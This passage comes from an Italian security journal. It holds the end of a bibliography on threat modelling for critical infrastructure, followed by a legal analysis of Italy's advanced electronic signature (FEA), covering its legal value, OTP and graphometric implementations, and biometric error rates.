gestire ed analizzare è ingente, ma, test sul campo
hanno dimostrato come la sua applicazione sia in
realtà fattibile e come i risultati ottenuti valgano il
costo dello sforzo intrapreso.
BIBLIOGRAFIA
[1]
[2]
[3]
[4]
[5]
[6]
[7]
[8]
[9]
Stuxnet: http://www.symantec.com/connect/blogs/w32stuxnet-dossier
M. Keeney, E. Kowalski, D. Cappelli, A. Moore, T. Shimeall, S. Rogers. “Insider Threat Study: Computer
System Sabotage in Critical Infrastructure Sectors”. CMU, May 2005.
G. Stoneburner, A. Goguen, A. Feringa. “Risk Management Guide for Information Technology
Systems”. Special publication 800-3, National institute of Standards and Technology.
Frank Swiderski and Window Snyder. “Threat Modeling”, Microsoft Press 2004
E. Bertino, D. Bruschi, S. Franzoni, I. Nai-Fovino, and S. Valtolina. “Threat modelling for SQL Servers”.
Eighth IFIP TC-6 TC-11 Conference on Communications and Multimedia Security (CMS 2004),
September 2004, UK, pp189-201.
“Microsoft Security Assessment Tool” https://www.securityguidance.com/
“Citicus ONE”. http://www.citicus.com
C. Alberts A. Dorofee “Managing Information Security Risks: The OCTAVE (SM) Approach”, July
2002, Addison Wesley Professional.
Folker den Braber, Theo Dimitrakos, Bjørn Axel Gran, Ketil Stølen, Jan Øyvind Aagedal, “The CORAS
methodology: Model-based risk management using UML and UP”, in UML and the Unified Process.
IRM Press, 2003.
111
Igor Nai Fovino
[10] Masera, M. & Nai Fovino, I., Models for security assessment and management. In proceeding of the
International Workshop on Complex Network and Infrastructure Protection, 2006.
[11] Masera, M. & Nai Fovino, I. (2006). Modelling Information Assets for Security Risk Assessment in
Industrial settings. 15th EICAR Annual Conference
[12] Nai Fovino, I. & Masera, M. (2006). “Emergent Disservices in Interdependent Systems and System-ofSystems”. In proceeding of the IEEE Conference on Systems, Man and Cybernetics, October 8-11 2006,
Taipei.
[13] Bugtraq vulnerability database. http://securityfocus.com
[14] Steffan, J., Schumacher, M.: Collaborative attack modeling. In proceeding of the Symposium on Applied
Computing, Madrid, Spain (2002) pp. 253 – 259
[15] McDermott, J. (2000). “Attack Net Penetration Testing”. In The 2000 New Security Paradigms Workshop
(Ballycotton, County Cork, Ireland, Sept. 2000), ACM SIGSAC, ACM Press, pp. 15-22.
[16] Schneier, B.: Modeling Security Threats, Dr. Dobb's Journal. https://www.schneier.com/paper-attacktrees-ddj-ft.html (2001).
[17] Nai Fovino, I. & Masera.M (2006). "Through the Description of Attacks: a multidimensional View". In
proceeding of the 25th International Conference on Computer Safety, Reliability and Security 26-29
September 2006 Gdansk, Poland
[18] Jones, A., Ashenden, D.(2005). “Risk Management for Computer Security : Protecting Your Network &
Information Assets”. Elsevier (March 2005).
[19] Alhazmi, O., Malaiya, Y., & Ray, I. (2005). “Security Vulnerabilities in Software Systems: A Quantitative
Perspective”. Lecture Notes in Computer Science, Volume 3654/2005. (2005) Publisher: Springer-Verlag
GmbH.
[20] Bishop, M. (2004). “Computer Security Art and Science” (November 2004) AddisonWesley.
[21] Code of Practice for Information Security Management. International Standard (ISO/IEC) 17799:2000.
[22] IEEE Std 610.12-1990, IEEE Standard Glossary of Software Engineering Terminology
[23] Masera, M. & Nai Fovino, I. (2005). “A framework for the security assessment of remote control applications of critical infrastructures”, ESREDA 2005.
[24] Masera, M. (2006). “Interdependencies and Security Assessment: a Dependability view”. In proceeding
of the IEEE Conference on Systems, Man and Cybernetics, October 8-11 2006, Taipei.
[25] Avizienis, A., Laprie, J.C., Randell, B. and Landwehr, C. (2004). “Basic Concepts and Taxonomy of
Dependable and Secure Computing”. IEEE Tr. On Dependable and Secure Computing, Jan–March 2004
(Vol 1, No. 1), pp 11–33.
[26] I. Nai Fovino, M. Masera “InSAW-Industrial Security Assessment Workbench”. In proceeding of the
International Conference on Infrastructure Systems, Rotterdam, November 10-12, 2008
[27] I. Nai Fovino, M. Masera, L. Guidi, A. Stefanini. "Cyber Security Assessment of a Power Plant".
International Journal of Electric Power System Research, Elsevier, 81 (2), pp. 518-526
[28] Dondossola, G., Szanto, J., Masera, M. and Nai Fovino, I., Evaluation of the effects of intentional threats
to power substation control systems. International Journal of Critical Infrastructure, 2007
[29] Critical Infrastructure Protection, Challenges and Efforts to Secure Control Systems. United States
Government Accountability Office, 2004. GAO-04-628T.
112
Fabio Di Resta
Avvocato - LLM - ISO 27001 ICT Security Auditor - Studio Legale Di Resta*
LA FIRMA ELETTRONICA AVANZATA: IL VALORE LEGALE, LA SICUREZZA E GLI
AMBITI APPLICATIVI
(ADVANCED ELECTRONIC SIGNATURE: LEGAL EFFECTIVENESS, SECURITY AND SCOPE)
Sommario
Nell’Agenda digitale italiana ed europea viene data sempre più importanza all’informatizzazione e all’esigenza di
utilizzare l’Information and Communication Technology per
semplificare e portare efficienza nella pubblica amministrazione. In tale contesto, i processi di digitalizzazione e di dematerializzazione della pubblica amministrazione sono percorsi
obbligatori per l’innovazione e l’efficienza del nostro paese.
Questi processi necessitano di strumenti pratici e usabili da
parte del cittadino e della pubblica amministrazione, la firma
elettronica avanzata per le sue caratteristiche è uno strumento
che potrebbe portare l’innovazione tecnologica necessaria e permettere di superare il digital divide nel nostro paese. Questa
nuova tipologia di firma elettronica introdotta con le modifiche
apportate a seguito della riforma del Codice
dell’Amministrazione Digitale (entrata in vigore il 25 gennaio 2011) è stata successivamente modificata con Decreto
legge n. 179 del 18 ottobre 2012. Con la firma elettronica
avanzata (FEA) si introduce nel panorama normativo italiano una firma che ha un valore legale assimilabile alle più
tradizionali firme digitali e firme elettroniche qualificate, sebbene se ne distingua profondamente. La FEA presenta, infatti, caratteristiche del tutto peculiari, non necessita di un dispositivo sicuro in senso proprio, né di un certificato qualificato né
di un sistema di chiavi asimmetrico, la FEA nasce anche
svincolata da autorizzazioni preventive. Da una parte la
mancanza di vincoli normativi stringenti la rende particolarmente appetibile dal mercato e dai fornitori di soluzioni di
firme elettroniche, dall’altra ci sono una serie di limiti connessi ai rischi di minor sicurezza delle soluzioni di FEA. Nel
decreto attuativo, entrato in vigore a giugno 2013, vengono
descritti i requisiti normativi volti a prevenire e ridurre i rischi
intrinseci delle soluzioni di FEA, con particolare riguardo al
“sole control” da parte dell’utilizzatore. Tuttavia, occorre
un’analisi molto attenta di ciascuno dei requisiti normativi
prescritti. Il rischio che si corre altrimenti è che l’assenza di
controllo preventivo comporti di fatto anche la mancanza di un
riconoscimento giudiziale dell’efficacia legale pari alla scrittura
privata, un’eventualità molto grave per l’ente utilizzatore.
*Si
A bstract
In the European and Italian Digital Agenda to computerize the public administration through the ICT employment both in order to simplify and to bring more efficiency - is considered more and more important. In this context, digitization and dematerialization processes are compulsory paths to
lead to innovation and effectiveness. These processes need practical and usable instruments for citizens and public administration. The advanced electronic signature has all features to
support these processes both for technological innovation and to
overcome the digital divide in our country. This new type of
electronic signature was foreseen by the legislative reform of the
Digital Administrative Code (legislative decree no. 85, 7
March 2005, as modified by the legislative decree no. 235, 30
December 2010 and later by Government decree no. 179,
18th October 2012). This type of signature is strongly different from the traditional ones, digital signature and qualified
electronic signature, has almost no legal bindings, no qualified
certifications, no Secure-Signature Creation Devices; moreover, there are no preliminary authorisation. Nonetheless, in
order to guarantee that this signature is legally effective, all
mandatory legal requirements should be satisfied. In this
respect, the decree (Prime Minister decree no. 68380, 22
February 2013), entered into force in June 2013, provides
specific requirements of the advanced electronic signature
through a technical legislation. This pays particular attention
to the aspects of the “sole control” by the user. Lastly, the
future challenge of the advanced electronic signature will be its
compliance with the law, without this there are no guarantees
that this signature will be accepted as a legal evidence in a
Court.
ringrazia il contributo dell’avvocato Emiliano Vitelli che ha collaborato alla revisione di alcune parti del presente articolo.
113
Fabio Di Resta
1. Introduzione alla firma elettronica avanzata (FEA)
Come è noto al fine di garantire piena autenticità
con valore legale alla firma apposta su un documento informatico, sia esso una fattura elettronica, un
contratto, un documento inviato tramite posta elettronica, occorre utilizzare una firma elettronica che
assicura l’efficacia della scrittura privata.
In questo contesto, la vera novità sul piano della
normativa italiana è rappresentata proprio dalla firma
elettronica avanzata; tale firma, disciplinata nel
Codice della Amministrazione Digitale (come modificato dal decreto legislativo del 30 dicembre 2010, n.
235 e successivamente dal decreto legge n. 179 del
18 ottobre 2012), ha acquisito un valore legale che la
equipara alla firma digitale e alla firma elettronica
qualificata e pertanto gli viene attribuito il medesimo
valore della firma autografa scritta di pugno.
Il valore legale della firma elettronica avanzata
viene disciplinato dall’art. 21 comma 2 (novella entrata in vigore il 25 gennaio 2011). La norma prevedeva, tuttavia, l’applicazione della presunzione di riconducibilità del dispositivo al titolare ovvero vi era un’
inversione dell’onere della prova a carico dell’utilizzatore che appone una firma elettronica avanzata
valida: “L’utilizzo del dispositivo di firma si presume
riconducibile al titolare, salvo che questi dia prova
contraria”. Questa presunzione è attualmente una
prerogativa esclusiva delle sole firme digitali e qualificate, a seguito della modifica apportata con il decreto legge n. 179 del 18 ottobre 2012 .
2. Le principali caratteristiche della FEA
Sul piano applicativo e dei limiti di utilizzo della
firma elettronica avanzata vi è da rilevare che può
essere impiegata in un ambito molto ampio, ma a differenza delle altre due tipologie di firme, ai sensi dell’art. 21 comma 2-bis sono esclusi esplicitamente
quei contratti che trasferiscono i diritti di proprietà o
che costituiscono una comunione di beni immobili,
gli atti che costituiscono ovvero trasferiscono diritti
reali su beni immobiliari e gli altri contratti comunque indicati nell’art. 1350, dal n. 1 al n. 12 del Codice
Civile.
La FEA non potrà essere, inoltre, utilizzata in
soluzioni di firma remota né per realizzare soluzioni
di firma automatica, il Decreto del Presidente del
Consiglio dei Ministri, n. 68380 del 22 febbraio 2013
(di seguito indicato come DPCM) relativo alle regole
tecniche sulle firme elettroniche1 confermano questo
orientamento, definendo la firma remota come: “una
particolare procedura di firma elettronica qualificata
o digitale, generata su HSM, che consente di garantire il controllo esclusivo delle chiavi da parte dei titolari delle stesse”. Analogamente, la firma automatica
viene definita come: “una particolare procedura di
firma elettronica qualificata o digitale eseguita previa
autorizzazione del sottoscrittore che mantiene il controllo esclusivo delle proprie chiavi di firma, ma in
assenza di un presidio puntuale e continuo da parte
di questo”.
Ulteriore aspetto che distingue la FEA è che questa non sarà soggetta alla sorveglianza da parte del
DigitPA, l’art. 55 comma 1 del DPCM asserisce infatti che: “la realizzazione di soluzioni di firma elettronica avanzata è libera e non è soggetta ad alcuna
autorizzazione preventiva”. Mentre come è noto per
la firma digitale e per la firma elettronica qualificata è
previsto un sistema di vigilanza che riguarda, in particolare, sia i certificatori qualificati sia l’adeguatezza
tecnologica dei dispositivi sicuri per la generazione e
custodia delle chiavi private2.
Quest’ultimo punto relativo all’assenza di sistema
di sorveglianza, a parere di chi scrive, rappresenta il
limite principale della FEA, come si avrà modo di
mostrare infatti questa firma, ha dei requisiti di sicurezza più generici e inferiori rispetto alle altre due
tipologie di firma. Questo aspetto solleva tra gli operatori dubbi in ordine ai rischi di false sottoscrizioni
ovvero di modifica dei documenti sottoscritti, tali
rischi sono stati parzialmente risolti con la previsione
1 DPCM n. 68380 del 22 febbraio 2013 “Regole tecniche in materia di generazione, apposizione e verifica delle firme elettroniche avanzate, qualificate e
digitali, ai sensi degli articoli 20, comma 3, 24, comma 4, 28, comma 3, 32, comma 3, lettera b), 35, comma 2, 36, comma 2, e 71”. Pubblicato in
Gazzetta Ufficiale il 21 maggio 2013 ed entrato in vigore il 5 giugno 2013.
2 L’art. 6 delle regole tecniche in materia di firma digitale, attualmente in vigore (DPCM del 22 febbraio 2013), stabilisce che la generazione della coppia
di chiavi deve avvenire assicurando l’unicità, un livello di sicurezza adeguato della coppia generata e la segretezza della chiave privata, analogamente, il
DigitPa gestisce un sistema di vigilanza affinché le chiavi private siano adeguatamente protette sul piano tecnologico tramite codici personali. Inoltre, con
riguardo particolare ai dispositivi sicuri l’art. 35 del CAD prevede una procedura di accertamento gestita dall’Organismo di certificazione della sicurezza
informatica (OCSI).
114
LA FIRMA ELETTRONICA AVANZATA: IL VALORE LEGALE, LA SICUREZZA E GLI AMBITI APPLICATIVI
di un sistema di garanzie contro i danni ovvero il
ricorso alla copertura assicurativa di cui si dirà anche
in seguito3.
Con il presente articolo si cercherà di chiarire al
lettore il quadro di riferimento normativo ed i requisiti legali specifici richiesti, mettendo in evidenza i
vantaggi e le criticità delle soluzioni di firma di maggiore interesse sul mercato.
Si ritiene opportuno a questo punto fare qualche
premessa sulla evoluzione normativa che ha portato
alla firma elettronica avanzata; la firma è stata disciplinata per la prima volta a livello comunitario con la
direttiva 1999/93/CE, successivamente recepita nel
nuovo CAD. Si riporta per completezza il testo il
secondo comma dell’art. 5:
“Gli Stati membri provvedono affinché una firma
elettronica non sia considerata legalmente inefficace
e inammissibile come prova in giudizio unicamente a
causa del fatto che è:
• in forma elettronica, o
• non basata su un certificato qualificato, o
• non basata su un certificato qualificato rilasciato da un prestatore di servizi di certificazione accreditato, ovvero
• non creata da un dispositivo per la creazione
di una firma sicura.”
Da un esame del primo comma del medesimo
articolo emerge con sufficiente chiarezza che le sole
firme elettroniche avanzate ad avere valore pari alla
firma autografa dovrebbero essere quelle costituite
da un certificato qualificato e che impiegano un dispositivo sicuro per la generazione della firma: firma
digitale e firma elettronica qualificata. Il secondo
comma sopra riportato richiama, invece, proprio gli
elementi definitori della firma elettronica avanzata
disciplinata del nuovo CAD, da tali elementi, che
svincolano le soluzioni di FEA da requisiti stringen-
ti, si ritiene che questa firma avrebbe dovuto molto
probabilmente avere un valore di elemento di prova
liberamente valutabile dal giudice piuttosto che di
firma con valore pari alla firma autografa come invece previsto nell’art. 21 comma 2 del CAD.
Nel quadro normativo comunitario, è anche
importante menzionare la direttiva 2006/123/CE sui
servizi nel mercato interno, la quale introduce un
quadro giuridico volto all’agevolazione dell’esercizio
della libertà di stabilimento dei prestatori di servizi
nonché della libera circolazione dei servizi. In particolare, nell’ambito della semplificazione amministrativa impone agli Stati Membri di garantire le condizioni per espletare per via elettronica formalità
amministrative in diversi ambiti, tra i quali: la creazione di imprese e la fornitura transfrontaliera di servizi. Tale normativa impatta inevitabilmente sulle
regole tecniche in corso di adozione in materia di
firma elettronica avanzata dovendosi garantire la più
ampia interoperabilità con gli altri sistemi informatici (in tale ambito rientra anche la problematica dell’adozione dei formati4).
3. Analisi dei requisiti normativi della FEA
Passiamo ora ad analizzare più nello specifico i
requisiti legali della firma elettronica avanzata5
(FEA) introdotti nel nuovo CAD: questi sono finalizzati a garantire che il documento informatico sottoscritto elettronicamente assicuri l’autenticità e l’integrità del documento sottoscritto6, e più specificamente:
• l’insieme di dati identificativi (in forma elettronica) del sottoscrittore devono essere collegati ai dati contenuti nel documento informatico tali da consentire una connessione univoca con il firmatario e garantire la verifica dell’integrità e l’immodificabilità dei dati conte-
Art. 57, comma 2, Ibid.
Decisione della Commissione del 25 febbraio 2011, che istituisce i requisiti minimi per il trattamento transfrontaliero dei documenti firmati elettronicamente dalle autorità competenti a norma della direttiva 2006/123/CE del Parlamento europeo e del Consiglio relativa ai servizi nel mercato interno.
5 Si ricorda che la nozione di Firma elettronica avanzata era già presente nell’art. 2 della Direttiva 1999/93/CE del Parlamento europeo e del
Consiglio, del 13 dicembre 1999, relativa ad un quadro comunitario per le firme elettroniche, la quale definisce la firma elettronica avanzata come: una
firma elettronica che soddisfi i seguenti requisiti:
a) essere connessa in maniera unica al firmatario;
b) essere idonea ad identificare il firmatario;
c) essere creata con mezzi sui quali il firmatario può conservare il proprio controllo esclusivo;
d) essere collegata ai dati cui si riferisce in modo da consentire l'identificazione di ogni successiva modifica di detti dati.
6 Art. 1 lett. q bis) del CAD.
3
4
115
Fabio Di Resta
nuti nel documento;
• sui mezzi con i quali si genera la firma deve
esserci un controllo esclusivo del sottoscrittore;
• per l’identificazione del firmatario è sufficiente un certificato digitale “non qualificato”;
• non è richiesto il dispositivo sicuro di sottoscrizione (non vi è l’obbligo di osservanza dei
requisiti stabiliti dall’Allegato III Direttiva
1999/93/Ce)7.
Per procedere con la analisi della FEA si può
ricorrere a quanto mostrato in Tabella 1.
Tipologia di firma elettronica
FD8 (chiavi asimmetriche)
FEQ
FEA
Tabella 1. Requisiti delle diverse tipologie di firma elettronica.
La tabella mette in evidenza i requisiti che caratterizzano le diverse tipologie di firma elettronica alla
quale la legge conferisce un valore legale equivalente
alla scrittura privata ovvero alla comune firma autografa scritta di pugno.
Nella prima colonna vengono indicate la firma
digitale (FD), la firma elettronica qualificata (FEQ) e
la FEA, nelle altre due colonne, il requisito del Secure
Signature Creatione Device (SSCD) ovvero dispositivo sicuro di firma, dispositivo che genera e garantisce che la chiave privata usata per la sottoscrizione
venga protetta secondo i livelli di sicurezza richiesti
dalla legge e dalla normativa tecnica. Con l’acronimo
CQ si indica invece il requisito relativo al certificato
qualificato emesso da una CA.
Una riflessione specifica merita il tema del dispositivo sicuro in riferimento alla firma digitale dato che
nella definizione legale di firma digitale del nuovo
CAD viene omesso il dispositivo sicuro. Questo
aspetto ha sollevato non pochi problemi interpretativi e di coerenza con l’intero impianto normativo
vigente. Appare a questo punto doverosa una premessa in merito al dispositivo sicuro di firma. Come
è noto, il dispositivo sicuro di firma ha la precipua
funzione di generare e di proteggere la chiave privata impedendo l’intercettazione da parte di terzi, proprietà che viene disciplinata tramite il concetto di
SSCD
CQ
SI
SI
SI
NO
SI
NO
“controllo esclusivo” ovvero “sole control”9.
Il controllo esclusivo riguarda i mezzi con i quali
si identifica il firmatario (dispositivo che custodisce la
chiave privata). Poiché nel mondo digitale la firma
elettronica autentica e la firma elettronica non genuina sono indistinguibili, la autenticità della sottoscrizione è strettamente legata al controllo esclusivo
della chiave privata/dispositivo sicuro sul quale l’utilizzatore deve esercitare un possesso continuato.
Per quanto detto, sotto un profilo concettuale
non può non concludersi che la mancanza di un dispositivo sicuro nella firma digitale deve essere considerata un refuso commesso dal legislatore. Su un
piano più sistematico, questa tesi è avvalorata anche
7 È da evidenziare che l’art. 56 del DPCM sulla firma digitale differenzia tra soggetti che offrono soluzioni di firma elettronica avanzata per conto proprio e soggetti offrono tali soluzioni per terzi, l’art. 60 limita l’ambito di utilizzo della firma elettronica avanzata ai rapporti giuridici intercorrenti tra il
sottoscrittore e questo soggetto.
8 Altro requisito caratteristico della firma digitale è l’impiego di un sistema di chiave asimmetriche, tale proprietà differenzia questa tipologia di firma dalla
firma elettronica qualificata, differenza quest’ultima che rileva solo come possibile soluzione tecnica presente nel testo normativo non esistendo allo stato un
certificato qualificato non basato su una coppia di chiavi asimmetriche; nella normativa la firma elettronica qualificata è definita in modo molto sintetico
indicando il certificato qualificato e il dispositivo sicuro, la firma di digitale viene invece definita puntualmente, salvi in ogni caso i rilievi riportati nella presente analisi. Si riporta per maggiore chiarezza il testo dell’articolo 1 lett. s) del CAD per il quale la firma digitale è: “basata su un certificato qualificato
e su un sistema di chiavi crittografiche, una pubblica e una privata, correlate tra loro, che consente al titolare tramite la chiave privata e al destinatario tramite la chiave pubblica, rispettivamente, di rendere manifesta e di verificare la provenienza e l'integrità di un documento informatico o di un insieme di
documenti informatici.”
9 Il disconoscimento della sottoscrizione ovvero la querela di falso dovrà limitarsi alla prova contraria per quanto attiene alle firme elettroniche qualificata e
digitale, ossia la prova che il dispositivo era stato sottratto al titolare, anche solo temporaneamente. Purtroppo la prova della sottrazione del dispositivo, in
assenza di una specifica denuncia o di prova testimoniale che attesti tale circostanza negativa, appare molto difficile da dimostrare dovendosi provare che il
dispositivo non era nel possesso del titolare. Si tratta appunto nello specifico di una prova c.d. negativa che come noto è molto difficile da fornire nel processo.
116
dal fatto che nel CAD sono presenti numerose disposizioni di legge nelle quali la firma digitale è equiparata alla firma elettronica qualificata. Inoltre, nelle
regole tecniche in vigore (DPCM) sono presenti
alcuni articoli fondamentali nei quali si parla di dispositivo sicuro per la generazione delle firme (art. 7).
A sostegno di questa tesi si consideri infine la disposizione contenuta nell’art. 11 del DPCM: in questo
articolo si afferma che la firma digitale è generata
con “dispositivi sicuri” al fine di impedire l’intercettazione della chiave privata. Anche l’art. 8 prescrive il
requisito del dispositivo sicuro per la creazione della
firma digitale (rectius firma digitale remota).
Infine, per ragioni di completezza si ritiene
opportuno aggiungere all’analisi della FEA qualche
riflessione sotto un profilo processuale civile. Sia la
firma elettronica avanzata che quelle qualificata e
digitale sottostanno alla previsione normativa di cui
all’art. 2702 c.c. sulla scrittura privata. Tuttavia mentre per la prima si ritiene possa funzionare il meccanismo processuale del disconoscimento ai sensi dell’art. 214 c.p.c. e segg., per le seconde l’unica strada
plausibile sembra essere quella della querela di falso.
Questa tesi trova fondamento nel fatto che le stesse
vanno ricondotte nell’alveo del concetto di firma
“legalmente riconosciuta" espresso dalla norma in
parola.
Con il disconoscimento, alla parte che si vede
produrre in giudizio l’atto sottoscritto sarà sufficiente dichiarare che la firma non è ad essa riconducibile
e sarà quindi l’avversario a dover chiederne la verificazione (molto probabilmente il prestatore del servizio potrebbe essere costretto a dimostrare l'affidabilità del sistema di FEA).
In tema, invece, di querela di falso, è la parte che
assume la falsità ad essere onerata di instaurare, ai
sensi degli artt. 221 c.p.c. e segg., l’apposita procedura davanti al Collegio e, si badi bene, a pena di nullità, indicare le prove e gli elementi della falsità.
Sotto il profilo delle modalità probatorie volte a
superare la presunzione di riconducibilità della FD e
della FEQ al proprio titolare (art. 21, comma 2 bis
CAD) si può asserire che oltre a possibili, sebbene
difficili, produzioni documentali, appare verosimile
la necessità di ricorrere alla prova testimoniale. Si
tratterà quindi di provare c.d. “fatti negativi” (p.e., il
non aver utilizzato, almeno temporaneamente, la
firma) alla cui complessa problematica si può fare
soltanto un rapidissimo cenno.
La giurisprudenza, infatti, ritiene che di regola, i
capitoli di prova aventi ad oggetto fatti negativi non
possono essere ammessi, in quanto ben difficilmente il teste sarebbe in grado di escludere in assoluto la
verificazione di una determinata circostanza; ciò
anche se la Corte di Cassazione, sul punto, ha anche
avuto modo di precisare che la prova dei fatti negativi può essere fornita mediante presunzioni, le quali
possono essere basate su fatti positivi (p.e. circostanze incompatibili tra luogo di custodia del dispositivo
e\o file e quelle relative al luogo di presenza del titolare, sue attività svolte, ecc.), che, se pur non esattamente contrari a quelli negativi, siano tuttavia idonei
a far desumere il fatto negativo.
Proseguendo con l’analisi della firma elettronica
avanzata l’articolo 21 del CAD equipara la FEA alla
firma digitale ed elettronica qualificata purché vengano garantite l’identificabilità dell’autore, l’integrità e
l’immodificabilità del documento sottoscritto.
Mentre vi da ricordare che nel DPCM entrato a vigore a giugno 2013, come già accennato, la presunzione di riconducibilità della firma al sottoscrittore
rimane una prerogativa delle sole firma digitali e qualificate.
4. Le possibili applicazioni della FEA e le
problematiche giuridiche connesse: il One
Time Password e la firma grafometrica
Con riguardo specifico al requisito dell’identificazione certa del sottoscrittore, le diffuse soluzioni
basate su tecniche di strong authentication soddisfano sicuramente tale requisito. Tuttavia, le criticità si
pongono in ordine all’integrità e all’immodificabilità
dei dati contenuti nel documento da sottoscrivere.
La firma elettronica avanzata potrebbe essere
infatti realizzata tramite una soluzione come gli One
Time Password (OTP) utilizzati per l’home banking
oppure con una soluzione di firma grafometrica delle
tavolette elettroniche. Esaminando più in dettaglio la
rispondenza degli OTP ai requisiti stabiliti dalla normativa per la FEA, risulta evidente che questa soluzione comunemente adottata solo come strong
authentication non garantisce tout court l’integrità e
l’immodificabilità del documento informatico associato, ma necessita in primo luogo di una struttura
dei dati che soddisfi tali requisiti.
Tenuto conto dei limiti anzidetti, tale soluzione
sembra invece rispondere al requisito del controllo
esclusivo permettendo di generare delle password
dinamiche nell’esclusivo controllo del titolare del dispositivo. Questo è comunque un requisito indispen-
117
Fabio Di Resta
sabile affinché la FEA sia considerata valida ed abbia
pertanto non solo un valore legale pari alla firma
autografa.
A questo punto, è importante sottolineare che le
caratteristiche peculiari della firma elettronica avanzata portano più correttamente a concepire tale
firma come parte di un processo di gestione documentale piuttosto che una semplice soluzione applicativa che appone una firma disgiunta dalla gestione
del documento informatico.
Questo approccio sembra da condividersi ancor
più se si riflette sul fatto che l’output del sistema
informatico al quale si accede tramite OTP deve
essere in grado di assicurare che il documento informatico presenti una struttura dei dati (rectius, processo di gestione documentale che genera la struttura
dati) che dia evidenza di quanto è stato sottoscritto e
che tale struttura garantisca l’integrità e l’immodificabilità dei dati.
La possibilità di utilizzare la FEA tramite un dispositivo OTP potrebbe risolvere in particolare i problemi di garantire l’efficacia di scrittura privata in
ambito bancario dove questo dispositivo è molto diffuso; ci si riferisce in particolare ai contenziosi sorti
relativamente all’integrazione dei contratti di intermediazione mobiliare nei quali l’Istituto di credito è
stato ritenuto soccombente poiché “l’accesso alla
pagina web tramite portale […] è avvenuto mediante
inserimento di username e password, da parte dell’utente […], ma è altresì vero che è indiscutibilmente
mancata la trasmissione (dai clienti della banca) di un
documento contenente la pattuizione integrativa ex
articolo 30 lettera e del Regolamento Consob”
(Tribuna di Reggio Emilia, 5 ottobre 2011).
La possibilità di impiego del dispositivo OTP
anche come soluzione di FEA anche in questo contesto risulta confermata dall’interpretazione contenuta nella pronuncia sopraccitata, sebbene nei chiarimenti contenuti nella comunicazione della Consob
(DI/30396 del 21 Aprile 2000) si facesse riferimento
esclusivo alla sola firma digitale per le operazioni di
c.d. trading online, nella stessa si dà rilevanza, invece,
al solo fatto che la firma elettronica abbia valore di
scrittura privata, soprattutto tenendo in conto che i
successivi interventi legislativi hanno ampliato il
novero delle firma elettroniche con valore di scritture privata.
Proseguendo con l’analisi delle soluzioni che pos-
sono rispondere ai requisiti della FEA, si ritiene possibile realizzare delle firme conformi ai requisiti della
FEA mediante l’utilizzo di dispositivi, quali ad esempio le tavolette grafiche o i tablet PC, che consentono di utilizzare tecniche di tipo grafometrico.
Tali firme grafometriche vengono realizzate tramite l’utilizzo di una particolare penna elettronica
che, utilizzata come una normale penna su una tavoletta grafica, permette di registrare tutte quelle caratteristiche che rendono unica la firma. Non è quindi
una semplice scansione della nostra firma, bensì una
vera e propria sottoscrizione effettuata su un dispositivo elettronico.
Tali caratteristiche, che non dipendono tanto dall’immagine stessa creata dalla scrittura ma piuttosto
da diversi aspetti e comportamenti, quali ad esempio
la pressione che viene esercitata sulla penna o la velocità con cui si scrive, vengono considerati uniche perché inimitabili10.
Essendo inimitabili possono essere quindi connessi univocamente con il firmatario e utilizzate
come chiave per garantire la verifica dell’integrità del
documento e l’autenticità del firmatario.
Naturalmente i mezzi utilizzati per la firma (mano e
dispositivi elettronici) sono sotto il controllo esclusivo del firmatario. La firma grafometrica, quindi, possiede tutti i requisiti minimi indispensabili per poter
essere considerata una FEA.
Tale firma, in assenza di un certificato qualificato,
non può essere considerata né firma digitale né firma
elettronica qualificata. Come in tutti i processi che
implementano l’utilizzo di tecniche biometriche è
necessario però effettuare un’accurata identificazione
degli utenti: ovvero un preventivo processo tramite il
quale vengono acquisite le caratteristiche biometriche di ogni utente.
Come è noto, tale processo, denominato di registrazione (enrollment), consiste nella lettura di quelle caratteristiche della firma con le quali verrà
costruito il campione (template), si tratta di un’operazione necessaria per il riconoscimento nelle successive autenticazioni.
Con specifico riguardo alle funzionalità di firma,
tale firma affinché assuma valore di FEA dovrebbe
soddisfare i requisiti stabiliti dalla Direttiva
1999/93/CE e del CAD ed in particolare occorre
che vengano soddisfatti i requisiti di identificazione
ovvero vi sia una “connessione univoca della firma al
10 Approfondimenti tecnici sul tema della firma biometrica sono riportati nei seguenti articoli: “La firma biometrica: un ponte verso la de materializzazione senza Digital Divide”, Giovanni Manca, pagg. 40 e 76, Rivista Information Security, gennaio/febbraio 2011.
118
firmatario” e di integrità e immodificabilità del documento informatico.
Quanto al primo aspetto, questo dovrebbe essere
risolto tramite delle regole univoche per la verifica
dell’identità al momento del rilascio del dispositivo di
firma, come per esempio ricorrendo a certificati digitali (attestazione su fonte oggettiva sull’identità da
parte del prestatore e sottoscrizione della dichiarazione di utilizzo del dispositivo da parte del titolare)
emessi dal prestatore di servizi.
Con riguardo agli altri due requisiti, questi vengono soddisfatti applicando la funzione di hash al
documento informatico da sottoscrivere al fine di
ottenere l’impronta che verrà poi cifrata tramite il
template biometrico. Pertanto, le soluzioni di firma
biometrica che rispettano tali requisiti saranno da
considerare Firme Elettroniche Avanzate tenuto
conto anche che eventuali procedure di verifica dell’integrità saranno comunque possibili apponendo
nuovamente la firma ovvero confrontando tali firme
con un catalogo delle firme11.
Le principali criticità connesse alla firma grafometrica derivano dall’instabilità (o mancanza di permanenza) nel tempo della firma: così, infatti, con il
passar degli anni cambia il nostro organismo, anche
le caratteristiche della nostra scrittura potrebbero
variare (l’angolo di inclinazione della penna, il numero di volte che la stessa viene sollevata dalla carta),
tanto da creare un template diverso da quello memorizzato nell’enrollment. Sarà quindi possibile avere
degli errori durante il riconoscimento:
• False Rejection Rate (FRR):
per FRR si intende la percentuale di firme
valide che vengono rigettate dal sistema.
• False Acceptance Rate (FAR):
FAR, invece, rappresenta la percentuale di
firme accettate dal sistema e che, invece, non
sono autentiche.
Questi due concetti sono parte essenziale delle
analisi biometriche e sono sicuramente indispensabili nel definire l’ambito di impiego delle firme biome-
triche, dalle banche alle assicurazioni, ai contratti in
ambito Telco e pubblica amministrazione.
Ciò che è indispensabile in tali casi è trovare un
equilibrio tra falsi positivi e falsi negativi (EER –
Equal Error Rate) adatto al contesto. Per fare qualche esempio, in un ambito nel quale si stipulano giornalmente migliaia di contratti di valore pari a poche
decine di euro una certa percentuale di casi di falso
positivo potrebbe essere accettabile; se invece si tratta di contratti di valore molto superiore e nell’ordine
dei migliaia di euro, il falso positivo potrebbe essere
molto ridotto e probabilmente dovrebbero essere
proferiti casi di falso negativo.
Infine non può essere trascurato l’aspetto normativo relativo alla protezione dei dati personali. Come
è noto agli specialisti del settore, i dati biometrici e
anche i template biometrici sono ritenuti dati personali, perché sono sempre indirettamente identificativi delle persone ai cui si riferiscono.
In materia, ci sono numerose pronunce del
